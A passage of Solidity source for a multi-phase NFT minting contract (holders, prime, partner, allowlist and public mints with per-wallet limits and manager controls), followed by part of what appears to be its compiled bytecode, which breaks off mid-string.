uint256 private _startingTotalSupply; //TRAF total supply at the beginning of this mint
uint256 private _availableMints; //Available amount of NFTs left to mint
uint256 private _holdersReserve; //NFTs reserved for ep1 and ep2 holders
//HM: Ep1-Ep2 Holders Mint
mapping(address => uint256) private HM_Mints;
uint256 private HM_User_Limit = 10; //User Mint Limit
uint256 private HM_TotalMinted;
uint256 private HM_Price = 250000000000000000;
uint256 private HM_Active;
//PRM: Prime Mint / Kind of like an early WL mint
mapping(address => uint256) private PRM_Mints;
mapping(address => uint256) private PRM_AllowListed;
uint256 private PRM_User_Limit = 2; //User Mint Limit
uint256 private PRM_Price = 350000000000000000;
uint256 private PRM_Active;
//GHM: General Holders Mint
mapping(address => uint256) private GHM_Mints;
uint256 private GHM_User_Limit; //User Mint Limit
uint256 private GHM_Price;
uint256 private GHM_Active;
//PM: Partners Mint
mapping(address => uint256) private PM_Mints;
uint256 private PM_User_Limit = 2; //User Mint Limit
uint256 private PM_Price = 350000000000000000;
uint256 private PM_Active;
//ALM: AllowList
mapping(address => uint256) private ALM_AllowListed;
mapping(address => uint256) private ALM_Mints;
uint256 private ALM_User_Limit = 2; //User Mint Limit
uint256 private ALM_Price = 350000000000000000;
uint256 private ALM_Active;
//PUM: Public Mint
mapping(address => uint256) private PUM_Mints;
uint256 private PUM_User_Limit = 2; //User Mint Limit
uint256 private PUM_Price = 400000000000000000;
uint256 private PUM_Active;
mapping(address => uint256) private _partner; //If the following contract is partner or not
constructor(address _traf, uint256 availableMints, uint256 holdersReserve) {
TRAF = ITRAF(_traf);
_availableMints = availableMints;
_holdersReserve = holdersReserve;
_startingTotalSupply = TRAF.totalSupply();
}
//Read Functions =================================================================================================================================
function Get_HM_Data(address user) external view returns(uint256 user_mints, uint256 user_mint_limit, uint256 totalMinted, uint256 price, bool active) {
user_mints = HM_Mints[user];
user_mint_limit = HM_User_Limit;
totalMinted = HM_TotalMinted;
price = HM_Price;
active = HM_Active == 1;
}
function Get_PRM_Data(address user) external view returns(uint256 user_mints, uint256 user_mint_limit, uint256 price, bool listed, bool active) {
user_mints = PRM_Mints[user];
user_mint_limit = PRM_User_Limit;
price = PRM_Price;
active = PRM_Active == 1;
listed = PRM_AllowListed[user] == 1;
}
function Get_GHM_Data(address user) external view returns(uint256 user_mints, uint256 user_mint_limit, uint256 price, bool active) {
user_mints = GHM_Mints[user];
user_mint_limit = GHM_User_Limit;
price = GHM_Price;
active = GHM_Active == 1;
}
function Get_PM_Data(address user) external view returns(uint256 user_mints, uint256 user_mint_limit, uint256 price, bool active) {
user_mints = PM_Mints[user];
user_mint_limit = PM_User_Limit;
price = PM_Price;
active = PM_Active == 1;
}
function Get_ALM_Data(address user) external view returns(uint256 user_mints, uint256 user_mint_limit, uint256 price, bool listed, bool active) {
user_mints = ALM_Mints[user];
user_mint_limit = ALM_User_Limit;
price = ALM_Price;
listed = ALM_AllowListed[user] == 1;
active = ALM_Active == 1;
}
function Get_PUM_Data(address user) external view returns(uint256 user_mints, uint256 user_mint_limit, uint256 price, bool active) {
user_mints = PUM_Mints[user];
user_mint_limit = PUM_User_Limit;
price = PUM_Price;
active = PUM_Active == 1;
}
function Check_Partner(address partner) external view returns(bool) {
return _partner[partner] == 1;
}
function Mints_Left() external view returns(uint256) {
return _availableMints;
}
function General_Mints_Left() external view returns(uint256) {
return _availableMints - HoldersReservedMints();
}
//Mints ==========================================================================================================================================
function HM(uint256 NFT_ID /*ID of the ep1 or ep2 token this user holds*/) external payable{
require(HM_Active == 1, "MINT_OFF");
require(NFT_ID < 667, "NOT_HOLDER");
require(TRAF.ownerOf(NFT_ID) == msg.sender, "NOT_HOLDER");
uint256 price = HM_Price;
require(msg.value % price == 0, "WRONG_VALUE");
uint256 amount = msg.value / price;
require((_availableMints -= amount) < 10000, "MINT_LIMIT_EXCEEDED");
require((HM_Mints[msg.sender] += amount) <= HM_User_Limit, "USER_MINT_LIMIT_EXCEEDED"); //Total mints of 10 per wallet
TRAF.adminMint(msg.sender, amount);
}
function PRM() external payable {
require(PRM_Active == 1, "MINT_OFF");
require(PRM_AllowListed[msg.sender] == 1, "NOT_ALLOW_LISTED");
uint256 price = PRM_Price;
require(msg.value % price == 0, "INVALID_MSG_VALUE");
uint256 amount = msg.value / price;
require(amount <= GeneralMintLeft(), "MINT_LIMIT_EXCEEDED");
require((PRM_Mints[msg.sender] += amount) <= PRM_User_Limit, "USER_MINT_LIMIT_EXCEEDED"); // Toal mint of 2 per wallet
_availableMints -= amount;
TRAF.adminMint(msg.sender, amount);
}
function GHM(uint256 NFT_ID /*ID of the ep token this user holds cannot be the episode they are currently minting*/) external payable{
require(GHM_Active == 1, "MINT_OFF");
require(NFT_ID <= _startingTotalSupply, "NOT_HOLDER");
require(TRAF.balanceOf(msg.sender) > 0, "NOT_HOLDER");
uint256 price = GHM_Price;
require(msg.value % price == 0, "WRONG_VALUE");
uint256 amount = msg.value / price;
require(amount <= GeneralMintLeft(), "MINT_LIMIT_EXCEEDED");
require((GHM_Mints[msg.sender] += amount) <= GHM_User_Limit, "USER_MINT_LIMIT_EXCEEDED"); //Total mints of 10 per wallet
_availableMints -= amount;
TRAF.adminMint(msg.sender, amount);
}
function PM(address partner) external payable{
require(PM_Active == 1, "MINT_OFF");
require(_partner[partner] == 1, "NOT_PARTNER");
require(ITRAF(partner).balanceOf(msg.sender) > 0, "NOT_PARTNER_HOLDER");
uint256 price = PM_Price;
require(msg.value % price == 0, "WRONG_VALUE");
uint256 amount = msg.value / price;
require(amount <= GeneralMintLeft(), "MINT_LIMIT_EXCEEDED");
require((PM_Mints[msg.sender] += amount) <= PM_User_Limit, "USER_MINT_LIMIT_EXCEEDED"); //Total mints of 2 per wallet
_availableMints -= amount;
TRAF.adminMint(msg.sender, amount);
}
function ALM() external payable {
require(ALM_Active == 1, "MINT_OFF");
require(ALM_AllowListed[msg.sender] == 1, "NOT_ALLOW_LISTED");
uint256 price = ALM_Price;
require(msg.value % price == 0, "INVALID_MSG_VALUE");
uint256 amount = msg.value / price;
require(amount <= GeneralMintLeft(), "MINT_LIMIT_EXCEEDED");
require((ALM_Mints[msg.sender] += amount) <= ALM_User_Limit, "USER_MINT_LIMIT_EXCEEDED"); // Toal mint of 2 per wallet
_availableMints -= amount;
TRAF.adminMint(msg.sender, amount);
}
function PUM() external payable {
require(PUM_Active == 1, "MINT_OFF");
uint256 price = PUM_Price;
require(msg.value % price == 0, "INVALID_MSG_VALUE");
uint256 amount = msg.value / price;
require(amount <= GeneralMintLeft(), "MINT_LIMIT_EXCEEDED");
require((PUM_Mints[msg.sender] += amount) <= PUM_User_Limit, "USER_MINT_LIMIT_EXCEEDED"); // Toal mint of 10 per wallet
_availableMints -= amount;
TRAF.adminMint(msg.sender, amount);
}
//Moderator Functions ==========================================================================================================================
function Change_HM_Data(uint256 hm_User_Limit, uint256 hm_Price) external Manager {
HM_User_Limit = hm_User_Limit;
HM_Price = hm_Price;
}
function Change_PRM_Data(uint256 prm_User_Limit, uint256 prm_Price) external Manager {
PRM_User_Limit = prm_User_Limit;
PRM_Price = prm_Price;
}
function Change_GHM_Data(uint256 ghm_User_Limit, uint256 ghm_Price) external Manager {
GHM_User_Limit = ghm_User_Limit;
GHM_Price = ghm_Price;
}
function Change_PM_Data(uint256 pm_User_Limit, uint256 pm_Price) external Manager {
PM_User_Limit = pm_User_Limit;
PM_Price = pm_Price;
}
function Change_ALM_Data(uint256 alm_User_Limit, uint256 alm_Price) external Manager {
ALM_User_Limit = alm_User_Limit;
ALM_Price = alm_Price;
}
function Change_PUM_Data(uint256 pum_User_Limit, uint256 pum_Price) external Manager {
PUM_User_Limit = pum_User_Limit;
PUM_Price = pum_Price;
}
function Activate_Mint(uint256 hm_Active, uint256 prm_Active, uint256 ghm_Active, uint256 pm_Active, uint256 alm_Active, uint256 pum_Active) external Manager {
HM_Active = hm_Active;
GHM_Active = ghm_Active;
PM_Active = pm_Active;
ALM_Active = alm_Active;
PUM_Active = pum_Active;
PRM_Active = prm_Active;
}
function Set_ALM_Users(address[] calldata users) external Manager {
uint256 length = users.length;
for(uint256 t=0; t < length; ++t) {
ALM_AllowListed[users[t]] = 1;
}
}
function Set_PRM_Users(address[] calldata users) external Manager {
uint256 length = users.length;
for(uint256 t=0; t < length; ++t) {
PRM_AllowListed[users[t]] = 1;
}
}
function Add_Partner(address partner) external Manager {
_partner[partner] = 1;
}
function Remove_Partber(address partner) external Manager {
_partner[partner] = 0;
}
function Increase_Mints(uint256 amount) external Manager {
_availableMints += amount;
}
function Decrease_Mints(uint256 amount) external Manager {
_availableMints -= amount;
}
//Internal Functions ===========================================================================================================================
function HoldersReservedMints() internal view returns(uint256) {
if(HM_TotalMinted >= _holdersReserve) {return 0;}
else {return _holdersReserve - HM_TotalMinted;}
}
function GeneralMintLeft() internal view returns (uint256){
return _availableMints - HoldersReservedMints();
}
}
|
0x6080604052600436106101f25760003560e01c80638e708cd91161010d578063d816fc8c116100a0578063f3fef3a31161006f578063f3fef3a314610b4b578063f5a1f5b414610ba6578063f8afc45214610bf7578063ffb391fe14610c01578063ffd6dd9114610c2f576101f9565b8063d816fc8c14610a93578063d833bb0e14610ace578063e5cb236c14610afc578063e994546014610b06576101f9565b8063ab09e926116100dc578063ab09e926146108dc578063b8ae0b6714610961578063cce1dabe146109a6578063d4d2e7f214610a2c576101f9565b80638e708cd91461079357806399e2be3b146107be578063a290a0b51461083a578063a5e90eee1461087f576101f9565b806350c790c31161018557806376105f441161015457806376105f44146106055780637af24e41146106885780638a94531f1461070d5780638da5cb5b14610752576101f9565b806350c790c31461047757806354505399146104fd57806359988b48146105385780636138bb57146105b4576101f9565b80633a5496f3116101c15780633a5496f31461033057806340c9fe3e1461037557806341fe0e8e146103e25780634de2c08c14610426576101f9565b806307afb565146101fe57806322e81891146102655780632b0228bc146102aa57806336400cd214610326576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b5061024d6004803603602081101561022157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c5a565b60405180821515815260200191505060405180910390f35b34801561027157600080fd5b506102a86004803603604081101561028857600080fd5b810190808035906020019092919080359060200190929190505050610ca6565b005b3480156102b657600080fd5b506102f9600480360360208110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d77565b60405180858152602001848152602001838152602001821515815260200194505050505060405180910390f35b61032e610dd8565b005b34801561033c57600080fd5b506103736004803603604081101561035357600080fd5b810190808035906020019092919080359060200190929190505050611198565b005b34801561038157600080fd5b506103e0600480360360c081101561039857600080fd5b81019080803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611269565b005b610424600480360360208110156103f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061135a565b005b34801561043257600080fd5b506104756004803603602081101561044957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611832565b005b34801561048357600080fd5b506104fb6004803603602081101561049a57600080fd5b81019080803590602001906401000000008111156104b757600080fd5b8201836020820111156104c957600080fd5b803590602001918460208302840111640100000000831117156104eb57600080fd5b9091929391929390505050611939565b005b34801561050957600080fd5b506105366004803603602081101561052057600080fd5b8101908080359060200190929190505050611a89565b005b34801561054457600080fd5b506105876004803603602081101561055b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b5b565b60405180858152602001848152602001838152602001821515815260200194505050505060405180910390f35b3480156105c057600080fd5b50610603600480360360208110156105d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bbc565b005b34801561061157600080fd5b506106546004803603602081101561062857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cc3565b6040518086815260200185815260200184815260200183815260200182151581526020019550505050505060405180910390f35b34801561069457600080fd5b506106d7600480360360208110156106ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d2d565b60405180868152602001858152602001848152602001831515815260200182151581526020019550505050505060405180910390f35b34801561071957600080fd5b506107506004803603604081101561073057600080fd5b810190808035906020019092919080359060200190929190505050611dd7565b005b34801561075e57600080fd5b50610767611ea8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561079f57600080fd5b506107a8611ed1565b6040518082815260200191505060405180910390f35b3480156107ca57600080fd5b5061080d600480360360208110156107e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edb565b60405180858152602001848152602001838152602001821515815260200194505050505060405180910390f35b34801561084657600080fd5b5061087d6004803603604081101561085d57600080fd5b810190808035906020019092919080359060200190929190505050611f3c565b005b34801561088b57600080fd5b506108da600480360360408110156108a257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061200d565b005b3480156108e857600080fd5b5061092b600480360360208110156108ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612179565b60405180868152602001858152602001848152602001831515815260200182151581526020019550505050505060405180910390f35b34801561096d57600080fd5b506109a46004803603604081101561098457600080fd5b810190808035906020019092919080359060200190929190505050612223565b005b3480156109b257600080fd5b50610a2a600480360360208110156109c957600080fd5b81019080803590602001906401000000008111156109e657600080fd5b8201836020820111156109f857600080fd5b80359060200191846020830284011164010000000083111715610a1a57600080fd5b90919293919293905050506122f4565b005b348015610a3857600080fd5b50610a7b60048036036020811015610a4f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612444565b60405180821515815260200191505060405180910390f35b348015610a9f57600080fd5b50610acc60048036036020811015610ab657600080fd5b810190808035906020019092919050505061249a565b005b610afa60048036036020811015610ae457600080fd5b810190808035906020019092919050505061256c565b005b610b04612a29565b005b348015610b1257600080fd5b50610b4960048036036040811015610b2957600080fd5b810190808035906020019092919080359060200190929190505050612de9565b005b348015610b5757600080fd5b50610ba460048036036040811015610b6e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612eba565b005b348015610bb257600080fd5b50610bf560048036036020811015610bc957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613024565b005b610bff61316b565b005b610c2d60048036036020811015610c1757600080fd5b8101908080359060200190929190505050613476565b005b348015610c3b57600080fd5b50610c4461393f565b6040518082815260200191505060405180910390f35b60006001602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054149050919050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d65576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b81601181905550806012819055505050565b600080600080601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493506011549250601254915060016013541490509193509193565b6001601c5414610e50576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4d494e545f4f464600000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4e4f545f414c4c4f575f4c49535445440000000000000000000000000000000081525060200191505060405180910390fd5b6000601b5490506000813481610f1757fe5b0614610f8b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f494e56414c49445f4d53475f56414c554500000000000000000000000000000081525060200191505060405180910390fd5b6000813481610f9657fe5b049050610fa1613952565b811115611016576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4d494e545f4c494d49545f45584345454445440000000000000000000000000081525060200191505060405180910390fd5b601a5481601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905511156110d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f555345525f4d494e545f4c494d49545f4558434545444544000000000000000081525060200191505060405180910390fd5b80600460008282540392505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e58306f933836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561117c57600080fd5b505af1158015611190573d6000803e3d6000fd5b505050505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b81601581905550806016819055505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611328576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b85600a81905550836013819055508260178190555081601c819055508060208190555084600f81905550505050505050565b6001601754146113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4d494e545f4f464600000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e4f545f504152544e455200000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156114f057600080fd5b505afa158015611504573d6000803e3d6000fd5b505050506040513d602081101561151a57600080fd5b81019080805190602001909291905050501161159e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4e4f545f504152544e45525f484f4c444552000000000000000000000000000081525060200191505060405180910390fd5b6000601654905060008134816115b057fe5b0614611624576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f57524f4e475f56414c554500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600081348161162f57fe5b04905061163a613952565b8111156116af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4d494e545f4c494d49545f45584345454445440000000000000000000000000081525060200191505060405180910390fd5b60155481601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190551115611772576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f555345525f4d494e545f4c494d49545f4558434545444544000000000000000081525060200191505060405180910390fd5b80600460008282540392505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e58306f933836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561181557600080fd5b505af1158015611829573d6000803e3d6000fd5b50505050505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b6000602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166119f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b600082829050905060005b81811015611a8357600160186000868685818110611a1d57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001019050611a03565b50505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611b48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b8060046000828254019250508190555050565b600080600080601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549350601e549250601f54915060016020541490509193509193565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b6001602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000806000806000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205494506007549350600854925060095491506001600a5414905091939590929450565b6000806000806000601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549450601a549350601b5492506001601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541491506001601c5414905091939590929450565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b81600d8190555080600e819055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600454905090565b600080600080601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493506015549250601654915060016017541490509193509193565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ffb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b81600781905550806009819055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4f4d533a204e4f545f4f574e455200000000000000000000000000000000000081525060200191505060405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fbe9474bb3e78da7e315cdffa5cfa30b767fcc95bbf44a6197da60228eea102868260405180821515815260200191505060405180910390a25050565b6000806000806000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549450600d549350600e5492506001600f541490506001600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414915091939590929450565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166122e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b81601e8190555080601f819055505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166123b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b600082829050905060005b8181101561243e576001600c60008686858181106123d857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060010190506123be565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612559576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b8060046000828254039250508190555050565b6001601354146125e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4d494e545f4f464600000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60035481111561265c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4e4f545f484f4c4445520000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156126e757600080fd5b505afa1580156126fb573d6000803e3d6000fd5b505050506040513d602081101561271157600080fd5b810190808051906020019092919050505011612795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4e4f545f484f4c4445520000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000601254905060008134816127a757fe5b061461281b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f57524f4e475f56414c554500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600081348161282657fe5b049050612831613952565b8111156128a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4d494e545f4c494d49545f45584345454445440000000000000000000000000081525060200191505060405180910390fd5b60115481601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190551115612969576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f555345525f4d494e545f4c494d49545f4558434545444544000000000000000081525060200191505060405180910390fd5b80600460008282540392505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e58306f933836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015612a0c57600080fd5b505af1158015612a20573d6000803e3d6000fd5b50505050505050565b6001600f5414612aa1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4d494e545f4f464600000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612b56576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4e4f545f414c4c4f575f4c49535445440000000000000000000000000000000081525060200191505060405180910390fd5b6000600e5490506000813481612b6857fe5b0614612bdc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f494e56414c49445f4d53475f56414c554500000000000000000000000000000081525060200191505060405180910390fd5b6000813481612be757fe5b049050612bf2613952565b811115612c67576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4d494e545f4c494d49545f45584345454445440000000000000000000000000081525060200191505060405180910390fd5b600d5481600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190551115612d2a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f555345525f4d494e545f4c494d49545f4558434545444544000000000000000081525060200191505060405180910390fd5b80600460008282540392505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e58306f933836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015612dcd57600080fd5b505af1158015612de1573d6000803e3d6000fd5b505050505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612ea8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b81601a8190555080601b819055505050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f79576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4f4d533a204d4f545f4d414e414745520000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050613020576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4f4d533a2049535355455f53454e44494e475f46554e4453000000000000000081525060200191505060405180910390fd5b5050565b60008054906101000a900473ffffffffffffffffff